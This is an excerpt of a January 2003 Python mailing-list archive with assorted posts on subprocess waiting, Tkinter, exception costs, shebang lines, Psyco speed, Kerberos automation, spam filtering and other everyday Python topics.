I'm running into a problem with an installation script I'm writing. The 
idea is that I have a whole list of packages that have to be installed as 
dependencies, so I want to automate the process a bit, while still having 
some ability to catch errors.

Each package needs something simple like (say):

"""
tar zxf Packages/megane*
mv megane* megane
cd megane
./configure --prefix=/my/prefix  >& megane.c.log
make  >& megane.m.log
make install >& megane.i.log
"""

Which I *could* translate into python (with os.* calls), but would rather 
leave as a shell script, since it's simpler that way.  So I have a data 
structure in Python that defines my package and includes this script as a 
string.  I then run the script using os.popen4, like this:

i1f, o1f = os.popen4('tcsh')
i1f.write(script)
i1f.close()

I also tried:

os.system("sync")
o1f.flush()

I also thought of "o1f.close()", which seems like it would block, but which 
would then not let me read the output from the script, which I want to keep 
to examine afterwards.

but that doesn't really seem to be the right thing.

After this step, my program should pause and give the user options to 
examine the output log files that were created (like "megane.m.log").  
That's the nice part about using Python for this.

The trouble is, I'm getting control back before these files are completed, 
which makes a mess because the program crashes when I try to open the files 
while they're still open.   (I don't want to explicitly check these files 
because they are not the same for every package -- I want to detect their 
presence in order to offer them as choices).

There must be some way I can wait until the script has finished before 
proceeding, but I haven't been able to figure it out yet.  (Or maybe 
there's a better approach to the whole problem?)

Thanks for any ideas,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From ericmattes at yahoo.com  Tue Jan 28 12:22:59 2003
From: ericmattes at yahoo.com (Eric Mattes)
Date: 28 Jan 2003 09:22:59 -0800
Subject: Browser front-end, python back-end
Message-ID: <fd5aa35c.0301280922.a952dc7@posting.google.com>

Hi.

I'd like to know if anyone knows a way to write a python program that
can be interfaced with through a web browser. I've been investigating
some GUIs and although I've written a prototype GUI in Tkinter, it
lacks personality. I'd like to make a nice GUI using HTML. Has anyone
done anything like this before? If so, how? Would it involve
embedding/using BaseHTTPServer? Ideally this would run on both Windows
and Mac OS.

Any ideas? Thanks!
-E



From hansgeunsmeyer at earthlink.net  Wed Jan  1 23:02:54 2003
From: hansgeunsmeyer at earthlink.net (hg)
Date: 1 Jan 2003 20:02:54 -0800
Subject: Extension modules, Threading, and the GIL
References: <ufzsgi9ao.fsf@boost-consulting.com> <20021230145912.GA8481@panix.com> <ud6njfshh.fsf@boost-consulting.com> <ulm27cvdx.fsf@boost-consulting.com> <auq0rq$1eje$1@nntp6.u.washington.edu> <ufzsf9r5o.fsf@boost-consulting.com>
Message-ID: <95959723.0301012002.2840905f@posting.google.com>

I knew I had overlooked at least one thing... :)

To see if there is a current Python thread state at all, you can not
use PyThreadState_GET in a debug build... (because if there isn't one,
Python aborts). But _PyThreadState_Current is a global variable that
you can check directly.

Hans



From jepler at unpythonic.net  Sun Jan 12 20:46:24 2003
From: jepler at unpythonic.net (jepler at unpythonic.net)
Date: Sun, 12 Jan 2003 19:46:24 -0600
Subject: tkinter: Scrolling Very Long Menus On X-Windows
In-Reply-To: <2v1tva.qap.ln@boundary.tundraware.com>
References: <2v1tva.qap.ln@boundary.tundraware.com>
Message-ID: <20030112194612.A31004@unpythonic.net>

On Mon, Jan 13, 2003 at 12:50:07AM +0000, Tim Daneliuk wrote:
> I have a situation where I dynamically create menus that are longer than
> the available vertical screen size.  On Win32, I get up- and down- scrolling
> buttons at the top and bottom of the menu respectively.  However, this
> does not happen on Unix (X).  Is there a way to get X to do the same thing?

Not as far as I know.  This is a limitation of the Menu widget as
implmented in Tkinter for X.  On Microsoft Windows, it uses the "real"
window control, which scrolls nicely.

With a little bit of work you could make an auto-cascading or
auto-subdividing menu, though.

Jeff




From whisper at oz.net  Thu Jan 16 17:08:11 2003
From: whisper at oz.net (David LeBlanc)
Date: Thu, 16 Jan 2003 14:08:11 -0800
Subject: Semi-OT SF CVS offline until...
Message-ID: <GCEDKONBLEFPPADDJCOEKEMGHGAA.whisper@oz.net>

What they say:
(2003-01-14 14:04:19 - Project CVS Services)   As of 2003-01-14,
pserver-based CVS repository access and ViewCVS (web-based) CVS repository
access have been taken offline as to stabilize CVS server performance for
developers. These services will be re-enabled as soon as the underlying
scalability issues have been analyzed and resolved (as soon as 2003-01-15,
if possible). Additional updates will be posted to the Site Status page as
they become available. Your patience is appreciated.

Not up as of 5 minutes ago. This applies to ALL SF projects, not just
Python!

David LeBlanc
Seattle, WA USA





From aleax at aleax.it  Thu Jan 30 12:55:17 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 17:55:17 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org>
Message-ID: <9Gd_9.144328$AA2.5905374@news2.tin.it>

Mike Meyer wrote:

> Alex Martelli <aleax at aleax.it> writes:
> 
>> def iteron(something):
>>     # string-like objects: treat as non-sequences
>>     try: something+''
>>     except TypeError: pass
>>     else:
>>         yield something
>>         return
>>     # other sequences
>>     try:
>>         for x in something: yield x
>>     except TypeError:
>>         yield something
> 
> I always thought that exceptions were expensive. Which makes me wonder

Let's check, e.g. with this code:


import time

def timeit(func):
        repts = [None] * 1000000
        start = time.clock()
        for x in repts:
                func()
        stend = time.clock()
        return stend-start

def isin_y():
        return isinstance('ciao', str)

def isin_n():
        return isinstance(23, str)

def exce_y():
        try:
                return 'ciao'+''
        except:
                return False

def exce_n():
        try:
                return 23+''
        except:
                return False

for f in isin_y, isin_n, exce_y, exce_n:
        t = timeit(f)
        print "%.2f %s" % (t, f.__name__)


On my years-old PC, we measure:

[alex at lancelot ball]$ python -O tim.py
1.47 isin_y
1.44 isin_n
0.86 exce_y
13.14 exce_n
[alex at lancelot ball]$

So, yes: exceptions are expensive *when taken*
(they're cheaper than isinstance when NOT taken).
Specifically, a taken exceptions seems to cost
over 10 microseconds on my old PC.

How much of a problem are those 10 microseconds
going to be in the typical use of this function?

for item in iteron(whatever):
    something(item)

my guess is -- probably not much.  If profiling
later tells me this isn't the case, then I can
get into studying how often various kinds of
objects get passed to function iteron and tune
it accordingly -- specialcasing some kinds of
arguments, if need be -- no hurry.

Premature optimization is the root of all evil
in programming, remember...


> why you aren't using "isinstance(something, str)" for that first test.

That wouldn't catch unicode objects, instances of UserString,
and other such string-like objects.


Alex




From tecargile at hotmail.com  Thu Jan  9 15:44:41 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 9 Jan 2003 12:44:41 -0800
Subject: Use /usr/bin/env python  ... why?
Message-ID: <8b67aef5.0301091244.1c6caec1@posting.google.com>

There was a previous thread on this that referenced a python.org FAQ
that I thought was incomplete.  As a casual observer I would
like to submit the following - in the order of most to least efficient
and least to most flexible (perhaps):

Use '#!/usr/bin/python' when:

      The location of 'python' can be or is guaranteed to
      be '/usr/bin' AND one one wants the least execution
      overhead AND does not wish to alter the 'python' runtine
      environment. Or when PATH searching is not possible
      for some reason (restricted environment - cron job).

Use '#!/python' when:

      The location of 'python' cannot be guaranteed to be 'usr/bin'
      (or any other locaton) AND one one is willing to incur the
      overhead of a PATH search AND a PATH search is possible 
      AND does not wish to alter the 'python' runtine environment.
      I have tested this under Cygin with both 'ksh' and 'python' 
      and it works as one would expect.

Use '#!/usr/bin/env python' when:

      The location of 'env' is guaranteed to be '/usr/bin'
      AND when it is desired to alter the environment prior
      to execution of 'python' AND when one is willing to
      incur the overhead (not as minimal as a PATH search)
      of starting 'env' and one cannot guarantee the location
      of 'python' and one is willing to incur the (minimal)
      overhead of a PATH search for 'python'.  Incidentally,
      I could measure the performance hit (in 10ths of seconds)
      of running with the startup overhead of 'env' on my
      900 Mhz laptop under Cygwin.  On a System with 2000 users
      (not even my laptop) it might make a difference).

Use '#!env python' when:

      The location of 'env' cannot be guaranteed AND the
      location of 'python' cannot be guaranteed AND
      it is desired to alter the environment prior
      to execution of 'python' AND one is willing to
      incur the overhead (admittedly minimal) of searching
      the PATH for 'env' AND starting 'env' (not so minimal) 
      and serching the PATH for 'python'.  A lot of 'AND's in this one.

It appears as though the PRIMARY intent of the 'env' utility
is to alter the environment - not force a PATH search for the
executable.  I have never seen a "#!" line that actually altered
the environment.  Has anyone?

Oh well, at least I have not seen these:

 #!env /usr/bin/python

   and

#!/usr/bin/env /usr/bin/python

These works also, but have yet to observe them in the wild. 

I'm wondering why I see so many (like 100%) '#!/usr/bin/env python'
lines ... in the Cygwin release, at least.  I don't believe this
is a religious issue.  It is simple mechanics/logic.  Computers
are only machines ... except for the UNIVAC ... it was God.

Tim



From simonb at webone.com.au  Fri Jan  3 21:58:44 2003
From: simonb at webone.com.au (Simon Burton)
Date: Sat, 04 Jan 2003 13:58:44 +1100
Subject: Term rewriting
Message-ID: <pan.2003.01.04.02.58.36.777265@webone.com.au>

Has anyone (knowingly) implemented a 'term rewriting' framework in python?
Perhaps as part of another project?

I am implementing something along these lines for a parser project
(cdecl.py); have decided to manipulate the parse tree *after* building it,
rather than trying to do it all at once (too brittle).

So, to keep the tree-transformations separate from the parsing.
Here is what is going on so far:

class Node(list):
  " node in the parse tree "

and for each syntactic unit, a class derived (perhaps indirectly) from Node.

The 'operators' are Nodes, and the 'terms' are Node(list) instances.
This means that operators are varadic, but still, things like
distributivity, commutativity, make sense.

Two ideas now.
CRUDE) each operator has one (or more) appropriate 'act' method(s) that accept a parent argument.
FANCY) a whole new class heirarchy of general Node(list) transforms.
Instances would respond to specified class instances (term types) only.

Well, i'd like to see any relevant code people have.

bye,

Simon Burton.




From ahaas at airmail.net  Sun Jan 12 12:21:54 2003
From: ahaas at airmail.net (Art Haas)
Date: Sun, 12 Jan 2003 11:21:54 -0600
Subject: [ANNOUNCE] Second release of PythonCAD now available
Message-ID: <20030112172154.GD19920@pcdebian.artsapartment.org>

I'd like to announce the second release of PythonCAD, a CAD package
for open-source software users. As the name implies, PythonCAD is
written entirely in Python. The goal of this project is to create
a fully scriptable drafting program that will match and eventually
exceed features found in commercial CAD software. PythonCAD is released
under the GNU Public License (GPL).

PythonCAD requires Python 2.2. The interface is GTK 2.0 based,
and uses the PyGTK module for interfacing to GTK. The design of
PythonCAD is built around the idea of separating the interface
from the back end as much as possible. By doing this, it is hoped
that both GNOME and KDE interfaces can be added to PythonCAD through
usage of the appropriate Python module. Addition of other interfaces
will depend on the availability of a Python module for that
particular interface and developer interest and action.

The second release fixes a few of the shortcomings in the initial release.
Setting linetype properties, color choice, and drawing entity style
are now done from the "Draw" menu. This release also adds some missing
functionality, such as the ability to change the linetype, color, and
style of the drawing entities, and the ability to move entities from
one layer to another. The Python code has had numerous doc strings added,
and various bug fixes have been applied.

Visit the PythonCAD web site for more information about what PythonCAD
does, and aims to be.

http://www.pythoncad.org

Come and join me in developing PythonCAD into a world class drafting
program!

Art Haas
-- 
They that can give up essential liberty to obtain a little temporary safety
deserve neither liberty nor safety.
 -- Benjamin Franklin, Historical Review of Pennsylvania, 1759




From stuart at bmsi.com  Fri Jan 10 12:34:15 2003
From: stuart at bmsi.com (Stuart D. Gathman)
Date: Fri, 10 Jan 2003 17:34:15 GMT
Subject: Java 20xfaster then Python !!??
References: <3E1E9CB2.6080001@molgen.mpg.de>
Message-ID: <ruDT9.29312$t06.1204327@news2.east.cox.net>

On Fri, 10 Jan 2003 05:13:06 -0500, Axel Kowald wrote:

> I just had a look at these very detailed benchmark tests,
> http://www.bagley.org/~doug/shootout/, and I was surprised to see that
> often java is 20 times faster than python !!
> 
> How can this be? Both languages interprete bytecode. Maybe because java
> has a JIT compiler ??
> Is there any hope that python might become faster in future releases ?

I am a big fan of Java and Jython, but your conslusion is misleading.
First of all, the 20x is for a JITed Java VM.  This does indeed attain C
like speed once it gets going.  The cost is long startup (while the code
is custom compiled) and huge memory consumption.

If you run Java in interpreted mode (classic VM), it has low memory
consumption comparable to python - but is only slightly faster (due to
being less dynamic).

The Python technology corresponding to Java JIT is Psyco.  It is
available now and has similar advantages/drawbacks to Java JIT.  (It uses
a lot of memory and Psyco compiled code is often faster than C.)

The Minimal Python Project is a new project to replace most of CPython
with a Psyco compiled Python core - with the expected result of being
faster than C.  IBM has a similar open source project for Java - the VM
and JIT are all written in Java.  (It used to be called Jalapeno, but was
renamed when it was open sourced.)

The reason dynamically compiled code can be faster than statically
compiled C code is that it is optimized for the exact runtime
environment.  For instance, in Java, if a method has not been overridden,
calls to it are compiled as final or even inlined.  If the method is
eventually overridden, affected compiled code is discarded (and
recompiled differently if used again).  Psyco goes even further and
compiles multiple versions of a function, each optimized for different
calling environments.

Summary,
  If you want results similar to Java JITs in Python today (high speed
and high memory consumption), then use Psyco.

-- 
	      Stuart D. Gathman <stuart at bmsi.com>
Business Management Systems Inc.  Phone: 703 591-0911 Fax: 703 591-6154
"Confutatis maledictis, flamis acribus addictis" - background song for
a Microsoft sponsored "Where do you want to go from here?" commercial.



From skip at pobox.com  Sun Jan 26 10:12:40 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sun, 26 Jan 2003 09:12:40 -0600
Subject: Emacs has eaten my python tabs!!!
In-Reply-To: <1043563632.4966.71.camel@refugeeMedia>
References: <1043563632.4966.71.camel@refugeeMedia>
Message-ID: <15923.64232.153575.441139@montanaro.dyndns.org>

    Mongryong> Ok, I did some cut and paste from python source which had
    Mongryong> different tabs.  In emacs it appears the tabs are in the
    Mongryong> right place but Python is complaining about indentation
    Mongryong> errors.  I've tried changing the tab-width/tab-stop in emacs
    Mongryong> but still no luck.

If everything lines up (that is, visually the code appears properly indented
within Emacs), simply select the entire buffer and execute M-x untabify.
You'll wind up with source code which only uses spaces for indentation.
Keep it that way.  You'll have far fewer problems of this sort.  ;-)

Skip




From spam at magnetic-ink.dk  Fri Jan 24 04:09:43 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Fri, 24 Jan 2003 09:09:43 +0000 (UTC)
Subject: Is there really a default source encoding?
References: <005c01c2c32c$b7180fe0$21795418@dell1700> <mailman.1043363269.2418.python-list@python.org>
Message-ID: <0da0ce60-3d46-446f-bb69-867879b013b5@news.szn.dk>

Alexander Schmolck wrote:

> I think you misread ("anglo-neutral" == doesn't bother english
> speakers == ascii upwards compatible).

(So long as they don't use characters like '?' and '?'.)


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From shawnwheatley at mailcan.com  Wed Jan 15 14:43:13 2003
From: shawnwheatley at mailcan.com (shawnwheatley at mailcan.com)
Date: Wed, 15 Jan 2003 11:43:13 -0800
Subject: Python loop constructs
In-Reply-To: <f57664b9.0301142008.6a0888@posting.google.com>
References: <f57664b9.0301142008.6a0888@posting.google.com>
Message-ID: <20030115194313.A262214C5C@www.fastmail.fm>

On 14 Jan 2003 20:08:04 -0800, "Jonathan P." <jbperez808 at yahoo.com> said:
> But doesn't the present 'while' syntax already give
> you all that and more?
> 
> while 1:
>   do-stuff
>   if condition: break
> 
> while condition:
>   do-stuff
> 
> If one thinks of while 1: as an alias for loop: then
> I don't find anything objectionable to its usage at all.
> In addition:
> 
>   while (condition): do-stuff
> 
> would be a lot clearer than:
> 
>   loop (condition): do-stuff
> 
> or
> 
>   loop while (condition): do-stuff # YUCK!

Keep in mind, however, that:
while(condition):
    do stuff

and something like:
while 1:
    do stuff
    if condition, break

are two very different loops.  The first is a (0..n) loop, or a loop
where the loop logic may not occur at all.  The second type (I've seen it
called a Do...While loop before) is a (1..n) loop, which ensures that the
loop action will occur at least once, no matter what the condition is.  I
can't think of any off the top of my head, but there are situations where
you want one behaviour or the other.

As to the question "Does Python need this loop construct?"--it doesn't
really matter to me.  While additional syntax may make the code more
readable, I think *most* people understand what the loop is trying to
accomplish.  If you think it may be vague, you can always add a comment.

Shawn
-- 
  
  shawnwheatley at mailcan.com

-- 
http://fastmail.fm - Sent 0.000002 seconds ago




From peter at engcorp.com  Sat Jan 11 20:51:11 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 11 Jan 2003 20:51:11 -0500
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk>
Message-ID: <3E20CA0F.E2C07F4E@engcorp.com>

Martin Christensen wrote:
> 
> Python usually uses copy-by-reference. This is all good and well, but
> sometimes we want copy-by-value. For a long time now I've been using
> copy() or deepcopy(), depending on the circumstances, from the copy
> module. Is there no more simple and elegant way of doing this? It
> seems strange that one should have to import a module to so something
> as simple as a copy-by-value. 

No one could call copy-by-value in Python "simple" who has looked at 
the source for it.

Have you looked at copy.py?  If you haven't, take a peek now and then
come back and try the question again. ;-)

-Peter



From martin at v.loewis.de  Thu Jan 16 05:13:07 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 16 Jan 2003 11:13:07 +0100
Subject: Python23: cannot inherit from bool?
References: <bb3eec0f.0301141812.18e916bf@posting.google.com> <b03kr8$lbili$1@ID-71831.news.dfncis.de> <VioEfKAwHWJ+EwJk@jessikat.demon.co.uk> <hk0d2vgdann9etn76olun0nj383jtf0ige@4ax.com>
Message-ID: <m3d6mx8kss.fsf@mira.informatik.hu-berlin.de>

Dale Strickland-Clark <dale at riverhall.NOTHANKS.co.uk> writes:

> >.... don't know the answer to that one, but is the non inheritance
> >property available to ordinary python if yes we could create leaf
> >classes.
> 
> At the risk of sounding dim: what's a leaf class?

I think the OP meant this as a synonym for what others call "final"
classes, i.e. classes that cannot be used as a base class. The OP asks
whether it is possible to implement a Python class which gives an
error when it is used as a base. I believe the answer to that question
is "no".

Regards,
Martin




From jester at NOSPAM.mcsnospam.vuw.netNOSPAM.nz  Tue Jan 28 21:43:35 2003
From: jester at NOSPAM.mcsnospam.vuw.netNOSPAM.nz (Mike McGavin)
Date: Wed, 29 Jan 2003 15:43:35 +1300
Subject: Getting a kerberos ticket
In-Reply-To: <b1798a$28j4$1@nntp6.u.washington.edu>
References: <1043800103.831567@bats.mcs.vuw.ac.nz> <b1798a$28j4$1@nntp6.u.washington.edu>
Message-ID: <1043808215.350745@bats.mcs.vuw.ac.nz>

Hi Donn.  Thanks for the help.

Donn Cave wrote:

 > I gather that the ID (principal) is always the same here, you're not
 > getting it from the web form.
 > [--snip--]

Yes the ID's always going to be the my user account ID, for now at 
least.  The script runs under my uid, not as nobody, and the database in 
postgres is owned by my uid.  I just can't get them to talk to each 
other unless I'm actually logged in interactively to run kinit.

I was hoping that there might be a library or module somewhere that 
could do everything that kinit does without me having to be there to 
type in the password, but instead let me pass it through the script. I 
always feel uneasy about writing down a password, but under the 
circumstances I'm prepared to do it with this account and take certain 
precautions.

The attitude of the local sysadmins is that they're not too concerned as 
long as the script runs as me, which it does, and I recognise that I'm 
responsible for whatever goes on. (The worst it can do on a system level 
is to zap all my data, but it still can't reach anyone else's.)


> Then you need a keytab file with the principal's password, with access
> restricted to your application ID (and root of course - there's no way
> you can do this without giving the web host's admins access to your
> database.)  That can be used periodically to update credentials, via
> kinit in a cron job, or every time the request runs.

Thanks.  Would I still need this if the process is running under my uid, 
or is it only if it's running as nobody?


> A Python module for Kerberos5 is feasible, but seems like it might be
> the least of your worries (maybe not even worth the installation and
> maintenance of this C module.)

I actually managed to find Elliot Lee's krb5 module at 
http://py.vaults.ca/parnassus/apyllo.py?i=187576001, but I'm having a 
difficult time getting it to compile under NetBSD.  I'm not yet sure if 
it'll do what I want, but I'm hoping.


Thanks for all your help so far.
Mike.




From bub at joos.us  Wed Jan 15 11:34:08 2003
From: bub at joos.us (Bubba)
Date: Wed, 15 Jan 2003 16:34:08 GMT
Subject: Newbie PythonCard Calendar Component
Message-ID: <c73b2vkit3519glinfd17av7km6kcbar2r@4ax.com>

How do I get input from the calendar component? Tried a lot all
resulting ir errrors. 



From gsmatthew at ozemail.com.au  Sun Jan 19 05:20:35 2003
From: gsmatthew at ozemail.com.au (Graeme)
Date: Sun, 19 Jan 2003 21:20:35 +1100
Subject: xml.dom.minidom
Message-ID: <XZuW9.443$f8.10917@nnrp1.ozemail.com.au>

Hi all, im still  struggling to try and find some examples on the web, im
finding the documentation conclusive butcant find any everday samples.

I am trying to extract the values for each of a list of orderlines for a
given order, using MSXML 3.0 (using XPath) I have no problem, but I have
only decided in the last two weeks to write a commercial app in Python after
discounting ruby (due to lack of documentation) so im still a bit aloof :)

e.g.

<order>
<orderid>12345</orderid>
<orderline>
<partno>1234</partno>
</orderline>
<orderline>
<partno>1235</partno>
</orderline>
<order>

my current attempt is using orderNode.getElementsByTagName('orderline')

Im trying to retireve a list of Nodes i.e NodeList as per doco then extract
each element value


Any ideas would be great cos ive been at this for ages


Cheers

Graeme





From jepler at unpythonic.net  Thu Jan 16 17:37:07 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Thu, 16 Jan 2003 16:37:07 -0600
Subject: Syntax modification idea: (classmethods, properties locking...)
In-Reply-To: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE>
References: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE>
Message-ID: <20030116223706.GC17950@unpythonic.net>

On Thu, Jan 16, 2003 at 10:03:12PM +0100, Arne Koewing wrote:
> Hi!
> After reading some treads about 
> "A Hygienic Macro System in Python"
> http://mail.python.org/pipermail/python-dev/2002-March/021369.html
> http://mail.python.org/pipermail/python-dev/2002-March/021467.html
> i've had an idea:
> 
> why not extending the def statement?
> 
> class bar(object):
>     def foo(class,arg1) is classmethod:
>         pass
>     def bar(arg1) is staticmethod:
> 	pass
>     
> def X(...) is Y:   #don't know if 'is' is realy a goog idea...
>   <<block>>

Something like this was suggested once, possibly on python-dev.  The
syntax proposed there was:
    def f() [classmethod]:
        pass
A chained form was also proposed.

The proposal did not win any wide acceptance.

I also wonder if trick used to make 'import ... as' legal without making
'as' a keyword could work in this situation, as in:
    funcdef: 'def' NAME NAME? parameters ':' suite
If the second NAME is present, then it is the name of the function and
the first NAME is the function's transformer.  This could be applied to
classes as well:
    classdef: 'class' NAME NAME? ['(' testlist ')'] ':' suite
if both names are specified, then the first is the metaclass.  Examples
(assuming an appropriate definition of the memoized wrapper & singleton
metaclass):

    # Equivalent to
    # class S:
    #     __metaclass__ = singleton
    #     ....
    class singleton S: ...
    
    # Equivalent to
    # def f(x): ...
    # f = memoized(f)
    def memoized f(x): ...

lowercase 'singleton' looks better to me than the alternative, 'class
Singleton S', same for 'memoized' vs 'Memoized'.

However, in this proposal, the following can't work
    def locked_with("resource") f(x): ...
you're forced to do
    locked_with_resource = locked_with("resource")
    def locked_with_resource f(x): ...
instead.  Also, no chained form is possible.

Jeff




From sjmachin at lexicon.net  Sun Jan 12 06:57:34 2003
From: sjmachin at lexicon.net (John Machin)
Date: 12 Jan 2003 03:57:34 -0800
Subject: backreference
References: <avmpkh$hra$1@wnnews.sci.kun.nl> <3E1F0860.843F9142@engcorp.com> <avn96u$nlb$1@wnnews.sci.kun.nl>
Message-ID: <c76ff6fc.0301120357.6cd8814a@posting.google.com>

read-the-signature at send-spam-to-dev-null.com wrote in message news:<avn96u$nlb$1 at wnnews.sci.kun.nl>...
> Peter Hansen <peter at engcorp.com> wrote:
> > Does something like this help?
> > 
> >>>> re.sub(r'([^,?])(([,?]))', r'\1 \2', 'Hello, how are you?')
> > 'Hello , how are you ?'
>  
> actually, it does (after adding dot, exclamation mark and so on). Had to
> re-read the code twice before getting it, though. I had never worked with
> the '\#' (where # is a number) before. Thanks!
> 
> > Not really general-purpose, but it works on the example you gave and maybe
> > that's as complex as you need...
> 
> Yeah it is. Let's hope it runs relatively fast. I don't mind waiting a
> little, but it has to run over about 6000 documents :-)
> 

What will happen if the 6,000 documents contain commas like in this sentence?
What if they contain some source code e.g. ",".join(some_list)??



From shawn  Sun Jan 26 11:55:30 2003
From: shawn (shawn)
Date: Mon, 27 Jan 2003 00:55:30 +0800
Subject: PyXPCOM
Message-ID: <b113v7$npt1@rain.i-cable.com>

Hello,

I am planning to write a program that use Python, Mozilla and pyxpcom. 
As I can't find the binary of pyxpcom, I have to compile it for myself. 
But I don't want to use the costly MSVC. Can anyone can give me a hand? 
I am used to use the Mingw as my C++ compiler.

Shawn




From lac at strakt.com  Mon Jan 27 22:11:43 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 28 Jan 2003 04:11:43 +0100
Subject: matching keyword arguments to specific methods 
In-Reply-To: Message from "Donnal Walter" <donnalcwalter@yahoo.com> 
   of "Mon, 27 Jan 2003 17:42:21 CST." <b14g1m$i0n$1@main.gmane.org> 
References: <mailman.1043706709.9666.python-list@python.org> <7xfzre2n6j.fsf@ruckus.brouhaha.com> <b14g1m$i0n$1@main.gmane.org> 
Message-ID: <200301280311.h0S3BijL018762@ratthing-b246.strakt.com>

> 
> "Paul Rubin" <phr-n2003b at NOSPAMnightsong.com> wrote:
> > I don't quite understand your example but I think you want something like:
> >
> >     if hasattr(self, key):
> >        getattr(self,key)(whatever)
> 
> Yes, that works perfectly. Thanks.
> Donnal Walter

This has one potential problem:  If your function has a data attribute,
it will try to run it.  By this I mean:

self.number=42 

hasattr(self, 'number') is true.

You may want to check:

method = getattr(self, method_name, None) # return None if doesn't exit
if callable(method):
   method(*args, **kwargs)

Laura Creighton




From max at alcyone.com  Thu Jan 23 22:22:36 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 23 Jan 2003 19:22:36 -0800
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <mailman.1043361749.31477.python-list@python.org> <b0qaq0$rna$1@panix2.panix.com>
Message-ID: <3E30B17C.AE4AFE5C@alcyone.com>

Aahz wrote:

> That seems a bit odd to me.  Why test against None, instead of simply
> "if not match"?

In this particular case, it doesn't much matter, since you're guaranteed
any non-None match object will evaluate to true.  In general, though, if
you know that a value might be "something" or None, an explicit test
against None is warranted since that "something" may or may not evaluate
as false itself.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ No man who needs a monument ever ought to have one.
\__/ Nathaniel Hawthorne
    Crank Dot Net / http://www.crank.net/
 Cranks, crackpots, kooks, & loons on the Net.



From tim.one at comcast.net  Tue Jan 14 21:47:18 2003
From: tim.one at comcast.net (Tim Peters)
Date: Tue, 14 Jan 2003 21:47:18 -0500
Subject: OT: spam filtering idea
In-Reply-To: <7xznq3ps4s.fsf@ruckus.brouhaha.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEJIDIAB.tim.one@comcast.net>

[Paul Rubin]
> ...
> Spambayes is already working better than spamassassin?  Wow.

It depends on what you use it for.  It was intended to be used by a single
person on their own email, and it quickly learns so much about a single
person's quirks that even very early versions of the spambayes code did at
least as well as a well-maintained SpamAssassin.

For group use your mileage will vary.  General single-classifier tests on
all the email traffic going thru python.org tried to exclude personal email
accounts, leaving just the Python and Zope mailing list traffic, and a
number of small, private, special-interest mailing lists.  We know how well
spambayes did in those bests, but aren't so sure about how well SA did; I do
know it caught a lot of spam that got beyond SA.  OTOH, python.org rejects
many msgs before SA ever sees them, so we have no idea how either system
would do on those.

The tests turned up one class of msg where SA had a real advantage:  very
brief administrivia requests to *-request addresses.  The ones that caused
trouble were typically a single-word msg like "unsubscribe" (itself a word
with high spamprob!), followed by a forward of a spam or off-topic
"conference announcement" that had leaked thru on the mailing list, *and*/or
a dozen of kilobytes of employer-generated HTML disclaimers ("whirlygigs.com
is a regulated investment company, and is not responsible for the etc etc
etc").  An appreciable fraction of a percent of administrivia msgs look like
that.  SA did better on those because python.org's SA installation is tuned
to give a huge "ham boost" to any email sent to a *-request address.
spambayes has no gimmicks like that.

Some of the personal email that snuck thru was also troublesome.  Everyone
signs up for *some* HTML newsletters that most other people would consider
to be spam.  Train a single classifier to accept the financial newsletters I
want to see, and the classifier becomes weaker at weeding out "similar"
stuff for other people.  Or if you happen to be resigned to the size of your
trouser snake and would rather not be reminded of it, training a shared
classifier to reject penis-enlargement spam stops Barry from getting the
help he so desperately needs.

> I guess I'll look into switching.  It's seemed to me up til now that
> it really takes a mixture of dynamic (Bayesian)

There's really nothing Bayesian about the spambayes code, except for a
Bayesian adjustment to the estimates of individual words' spam
probabilities.  The probability combining scheme isn't Bayesian at all.  An
article by Gary Robinson about the math behind spambayes will be published
in Linux Journal soon, followed the next month with an article by Richie
Hindle about the more practical aspects of the system.

> and hand-coded (SA) filtering

For use by a group of unrelated individuals (say, an ISP, or corporate email
server), I expect that's true.

> I've heard the next version of SA will incorporate Bayesian filtering
> in addition to what it already does.

SpamAssassin's Matt Sergeant hung out on the spambayes mailing list for
quite a while, and picked up some number of the techniques for SA's use.
More power to 'em, although I no longer have a" spam problem" so stopped
paying attention <wink -- but I still get about 100 spam a day, and it all
ends up in my spam folder now>.





From nospam at mega-nerd.com  Wed Jan  8 14:21:11 2003
From: nospam at mega-nerd.com (Erik de Castro Lopo)
Date: Wed, 08 Jan 2003 19:21:11 GMT
Subject: Python vs .Net (
References: <mailman.1042014704.20400.python-list@python.org>
Message-ID: <3E1C7A1E.68D402DD@mega-nerd.com>

Serdar Kilic wrote:
> 
> It would be quite difficult to "sue MONO" as they are building not from
> Microsoft specifications but specifications from ECMA (and soon to be ISO
> standards as well).
> 
> http://msdn.microsoft.com/net/ecma/
> http://www.ecma.ch/ecma1/STAND/ecma-335.htm (Common Language Infrastructure)
> http://www.ecma.ch/ecma1/STAND/ecma-334.htm (C# Language)

That is completely irrelevant.

If the MONO people infringe on micrososft's patents, microsoft
WILL sue for patent infringement.

Compare this with the issue of MP3 encoders. MP3 is another well 
recognised standard with a patent owner thretening to sue anyone
who releases a binary encoder with out paying the patent owner
a royalty.

Erik
-- 
+-----------------------------------------------------------+
  Erik de Castro Lopo  nospam at mega-nerd.com (Yes it's valid)
+-----------------------------------------------------------+
"I don't think any MS Exec will ever die of old age. Satan 
doesn't need the competition." 
-- Digital Wokan on LinuxToday.com



From essai1 at mci.local  Sun Jan  5 11:32:44 2003
From: essai1 at mci.local (News M Claveau /Hamster-P)
Date: Sun, 5 Jan 2003 17:32:44 +0100
